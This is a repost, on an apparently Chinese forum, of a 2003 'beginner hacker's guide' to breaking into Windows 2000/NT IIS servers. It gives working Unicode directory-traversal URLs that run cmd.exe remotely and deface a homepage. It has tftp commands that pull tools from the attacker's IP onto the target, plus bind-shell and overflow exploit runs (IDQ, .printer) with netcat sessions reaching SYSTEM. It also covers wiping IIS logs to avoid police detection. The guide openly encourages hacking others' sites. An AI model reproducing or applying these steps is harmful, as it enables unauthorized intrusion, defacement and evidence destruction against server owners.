温柔网

 找回密码
 注册

查看: 644|回复: 0

[转帖]网络黑客新手入门指南1

[复制链接]
发表于 2003-10-29 00:20:46 | 显示全部楼层 |阅读模式
--------------------------------------------------------------------------------
发表时间:2003-7-13 5:12:49 来源:HEIBAI 作者:天外飞仙  点击 3350 次

  网络黑客新手入门指南

Written By Nature

  各位网络新手,大家好。为了新手们更快的进入奇妙的网络世界,我决定写一篇指导文章。其实我也是个菜鸟,对网络也是略知一二,第一次写教程,有不足之处,肯请赐教。相信会花时间看这篇文章的人,都是对入侵一知半解的。其实,我个人认为,微软的Windows 2K和NT是世界上应用范围很广,最容易学习的一种操作系统(OS),同时也是漏洞最多的OS,作为新手,我建议大家从2K和NT的入侵开始学起。我会陆续介绍有关入侵的手段及入侵后可以做的有利于自己的事。: )

(一)系统基本知识

  1.a.什么是IP:要是真的想说清楚什么是IP,那是一项很繁重的工作。简单的来说,IP就是所有Internet或是局域网上的主机的身份证。所有网络的机器连接起来后,每台机器都会有一个唯一的合法的IP地址,一台机器和别的指定的机器通讯都要依据IP来实现的。IP地址的写法为XXX.XXX.XXX.XXX。有四段数字组成,第一段数字可为1-255,后三段数字可为0-255,且所有的IP地址分为A、B、C、D、E五类,主要是A、B、C三类。其有效范围如下表所示:
类别   网络号   主机号

A 1~126 0~255 0~255 1~254
B 128~191 0~255 0~255 1~254
C 192~223 0~255 0~255 1~254
有关IP地址的问题可以查阅相关的资料,笔者在此就不再多耗笔墨了。呵呵~~~~~~~~~~~~~: p

  1.b.怎样得到自己和别人的IP呢?以Windows 98为例:在“开始”—“运行”里输入:winipcfg。接着,Windows就会打开“IP 配置”。其中,在“Ethernet 适配器信息”—“IP 地址”会显示xxx.xxx.xxx.xxx,这就是你的IP。要想得到别人的IP,可以使用一些工具软件,不过最简单的使用Windows自带的一个小程序ping.exe。在MS-DOS命令行下输入ping www.xxx.com。会出现:
C:\>ping www.xxx.com

Pinging www.xxx.com [xxx.xxx.xxx.xxx] with 32 bytes of data:

Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116
Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116
Reply from xxx.xxx.xxx.xxx: bytes=32 time=120ms TTL=116

Ping statistics for xxx.xxx.xxx.xxx:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 120ms, Maximum = 630ms, Average = 187ms

其中:xxx.xxx.xxx.xxx 就是http://www.xxx.com的网络服务器的IP地址。

  2.a.Unicode漏洞:“Unicode漏洞”是微软IIS的一个重大漏洞。2001年最热门漏洞之一。下面我们来简要介绍一下它的原理。
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。(Win NT4 编码为:%c1%9c ,Win2000 英文版 编码为:%c0%af)

假设目标主机为英文版Winodows 2k,IP为xxx.xxx.xxx.xxx,且存在Unicode漏洞,那么我们在浏览器里输入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir ,之后浏览器就会显示如下内容:
Directory of C:\inetpub\scripts
2002-02-08 15:49 〈DIR〉 .
2002-02-08 15:49 〈DIR〉 ..
2002-02-08 10:20 Index.html
2002-02-08 10:20 background.jpg
........................................
从上面的测试可以看出:"http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+"后就是DOS命令了:"dir"
以此类推,我们可以利用浏览器远程执行任意命令,看下面的例子:
在浏览器里输http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+md+d:\Nature,运行后我们可以看到返回这样的结果:

CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:

英文意思是:
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
但是,你其实仍然在目标主机的 D:\ 里建立了一个名为:Nature的文件夹。

  2.b.利用Unicode漏洞我们还可以简单的修改目标主机的WEB文件。一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具“>” “>>”。如果你对这些命令不熟悉,可以键入以下命令以查看帮助文档,如:
C:\>echo/?
显示信息,或将命令响应打开或关上。
ECHO [ON | OFF]
ECHO [message]
仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。


管道工具“>” “>>” 的不同之处
“>”“>>”是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中。
“>>”将产生的内容追加进文件中,“>”则将原文件内容覆盖。


IIS加载程序检测到有cmd.exe或者command.com串就要检测特殊字符“&|(,;%<>”。如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符等。如果我们输入http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+内容+> d:\cnhack.bat
我们可以看到提示:


HTTP 500 - 内部服务器错误
Internet Explorer


所以我们如果要echo和>的结合使用,就应该这样输入:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+Hacked By Nature+> c:\inetpub\wwwroot\index.html (注意:这两个命令的区别是,后一个比前一个在cmd后多了一个"符号),完成后看它的主页已经被修改成了:Hacked By Nature 了。其实只要我们弄懂这个漏洞的使用,仅仅使用IE,我们就可以“黑”掉一个网站咯!就这么简单!

  3.idq.dll缓冲区溢出漏洞。作为安装过程的一部分,IIS 安装了几个 ISAPI 扩展 .dlls 。其中的 idq.dll 存在问题,它是 Index Server 的一个组件,对管理员脚本(.ida文件)和Internet数据查询 (.idq文件)提供支持。但是,idq.dll 在处理一段URL输入的代码中存在一个未经检查的缓冲区。攻击者利用此漏洞能导致受影响服务器产生缓冲区溢出,从而执行自己提供的代码。而更为严重的是,idq.dll 是以 SYSTEM 身份运行的,攻击者成功利用此漏洞后能取得系统管理员权限。(SYSTEM权限相当于超级管理员权限,很值得注意!)Windows 2k和NT都受到了不同程度的影响。


  4.IIS.printer漏洞(应用程序映射缓冲溢出):这也是近期比较流行的漏洞,国内国外仍有N台机器存在此漏洞。
微软Windows 2000 IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。默认情况下,IIS 5.0服务器存在一个后缀为"printer"的应用程序映射,这个映射使用位于\WINNT\System32\下的名为 msw3prt.dll 的动态库文件。这个功能是用于基于Web控制的网络打印的,是Windows2000为Internet Printing Protocol(IPP)协议而设置的应用程序功能。不幸的是,这个映射存在一个缓冲区溢出错误,可以导致inetinfo.exe出错,允许黑客通过web获取服务器的管理权限,黑客制造一个 .printer 的ISAPI请求,当Http host参数的值达到420个字符时,就会发生缓冲区溢出:


GET /NULL.printer HTTP/1.0
Host: [buffer] <---------------------------------当上述 [buffer]值的字符数目达到420时,缓冲区溢出。这时,Web服务器会停止响应

Windows2000操作系统发现Web异常停止后,会自动重启。通过构造包含适当的Shell Code的脚本, 黑客可以以system用户的身份,不停地远程通过web执行任何指令。这个漏洞的危害比IISHACK更大,原因是由于IIS4.0不自动重启的原因,用IIShack黑客只能获得一次Shell,而通过这个漏洞,黑客可以不停地利用。目前Internet上已经有了针对这个漏洞的exploit程序,可以绑定系统的cmd.exe程序,从而自由地执行指令。

  5.MSSQL空密码漏洞:SQL服务器是一个非常强大的数据库。当然,这么庞大的程序漏洞也不少。超级管理员sa的默认密码为空,就是一个重大漏洞。SQL Server是运行于NT平台上的数据库,通常采用IIS作为网络服务器的NT服务器均采用SQL服务器作为数据库服务器。SQL服务器目前最高的版本是2000,但是通常比较常见的是6.5和7.0(包括SP1)。SQL服务器如果配置不当,将对NT系统本身造成很大的危害,在一般情况下都可以直接获得超级用户的权限。SQL 2000以前的版本在默认安装时的密码均为空,如果在安装的时候没有及时修改密码,无疑是为Windows NT系统打开了一道后门。


有关于系统漏洞的知识就先讲到这里。下面我们来看看怎么在实战中取得胜利,就是要动手干了啊!OK,Let&#39;s Go!

  (二)实战演练阶段

  1.Unicode漏洞实战篇(文中所提到的软件均可在黑白网络www.521hacker.com下载到。)
还记得我们在第一部分介绍的Unicode漏洞吗?可别告诉你没有什么印象啊!呵呵,我们就先来看看利用Unicode漏洞和tftp来上传文件的方法。也许你会问,什么是tftp呢?简单来说,tftp 就是让你的电脑变成一台服务器,让目标主机来下载你的文件,这样就可以达到上传的目的。在运行tftp32.exe之前,建议关闭其他FTP服务器,保持tftpd运行,这时你的机器已经是一个FTP服务器了。然后,把你要上传的文件,复制到同一目录下。回到你的浏览器,在地址栏里输入:


http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp -i y.y.y.y GET icmd.exe c:\\inetpub\\scripts\\icom.exe
y.y.y.y为你自己的IP,注意:c:\\inetpub\\scripts\\icom.exe,用"\\"隔开。 其中c:\\inetpub\\scripts\\为主机服务器目录,要看主机的具体情况而定,icom.exe为被改名的icmd.exe(名字自己起吧)。然后等待...大概N分钟...IE浏览器左下角显示完成,红色漏斗消失,这时icmd.exe已经上传到主机c:\inetpub\scripts\目录了。您可以自己检查一下。执行icom.exe(icmd.exe),在地址栏输入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\icom.exe,如果有提示,那表示上传成功!


好的,下面我们再来谈谈用利用Unicode漏洞结合Winshell来取得SYSTEM权限的实例。假设目标主机存在Unicode漏洞。还是用tftp来上传winshell.exe,并将其改名成winserver.exe(这样比较隐蔽嘛!),然后在浏览器里输入:
http://xxx.xxx.xxx.xxx/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\winserver.exe
(这时候,浏览器可能像没有响应一样,许久没有反应,但是,这个程序已经启动了,请暂时不要关闭浏览器)


好的,现在我们就可以telnet上去了:telnet xxx.xxx.xxx.xxx 5277 (5277是winshell默认打开的端口)
WinShell v1.0 - &#39;!&#39; to quit, &#39;enter&#39; to shell...
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\Inetpub\scripts> <----------------------太好了,我们成功了!现在,你已经具有SYSTEM权限了,可以为所欲为咯!像在DOS下一样!


在黑别人主页的时候是不是遇到过找不到WEB文件存放位置的情况?有时候网管为了避免受到攻击,就把WEB文件的存放位置改了。这可苦了我们啊,没关系,只要是它的2K或NT没有打service park(补丁包,简称SP),那么它就存在一个ida漏洞,攻击者利用此漏洞可以得到WEB文件存放的位置。我们在浏览器里输入一个不存在的.ida文件,如http://xxx.xxx.xxx.xxx/Nature.ida,接着,浏览器就会返回如下的提示:
找不到IDA文件在 D:\Inetpub\wwwroot\Nature.ida
其中,“D:\Inetpub\wwwroot\”就是目标主机存放WEB文件的地方了。呵呵,黑了它吧!


攻击完成之后,我们就要擦PP了,要不被警察叔叔拉去玩,可就不好了,对吧?
用tftp把CleanIISLog.exe传到目标主机上去,再利用winshell telnet 上去,在命令行下执行CleanIISLog.exe就可以了(有关CleanIISLog的用法,请参见程序附带的帮助文档)。PP擦完后走人!

  2.idq.dll漏洞实战篇 这次是利用idq.dll漏洞溢出SYSTEM权限。要用到的程序有:Snake IIS IDQ 溢出程序、Netcat(即NC),有关软件的使用方法,详见帮助文档,笔者在此就不都介绍了。


假设我们的目标主机是2K,有无打SP不清楚。我们以GUI(图形界面)版的Snake IIS IDQ 溢出程序为例介绍。


设置:被攻击地址:IP:xxx.xxx.xxx.xxx Port(端口):80
溢出选项:选择“溢出后,在一个端口监听”
监听端口:813
要绑定的命令:cmd.exe /c dir c:\
操作系统类型:IIS5 Chinese Win2k
设置完成之后,点击“IDQ溢出”,完成。程序会提示“发送shellcode 到 xxx.xxx.xxx.xxx :80 OK”。
接着进入MS-DOS方式。以下面的方式运行NC:nc --v xxx.xxx.xxx.xxx 80

C:\>nc -vv xxx.xxx.xxx.xxx 813
xxx.xxx.xxx.xxx: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [xxx.xxx.xxx.xxx] 813 (?): connection refused
sent 0, rcvd 0: NOTSOCK
D:\>

呵呵,没有成功哦,可能是打了SP1吧,那我们就在“操作系统类型”里选“IIS5 Chinaese Win2K SP1”,重复以上步骤。

C:\>nc -vv xxx.xxx.xxx.xxx 813
xxx.xxx.xxx.xxx: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [xxx.xxx.xxx.xxx] 813 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> <-----------------我们终于成功了!你已经获得SYSTEM权限了,又可以为所欲为了,可不要乱来哦:)

  3.IIS.printer漏洞实战篇(用到的程序有:IIS5hack(.printer溢出工具), Netcat(即NC) 。有关IIS5HACK的用法参见帮助。)
关于IIS5HACK程序中部分单词解释:Host:溢出主机的IP地址。HostPort:主机端口。HostType:主机操作系统类型。ShellPort:溢出的端口
现在我们开始吧。假设目标主机为2K系统,且存在IIS.printer漏洞。示例如下:
C:\>iis5hack xxx.xxx.xxx.xxx 80 1 3739
IIS5 remote .printer overflow. writen by sunx
http://www.sunx.org
for test only, dont used to hack, :p
Listn: 80
connecting...
sending...
Now you can telnet to 3739 port
good luck :)

OK!溢出成功!接着用NC连接它的3739端口:

C:\>nc xxx.xxx.xxx.xxx 3739
http://www.sunx.org
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32> <-------------------------接着键入:whoami查询用户身份:

c:\WINNT\system32>whoami
SYSTEM <-------------------------------------看见了吗?我们成功取得system权限!

谢谢你们!^_^
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|温柔网 ( 浙ICP备13033583号-8 )

GMT+8, 2024-12-4 01:09 , Processed in 0.037821 second(s), 23 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表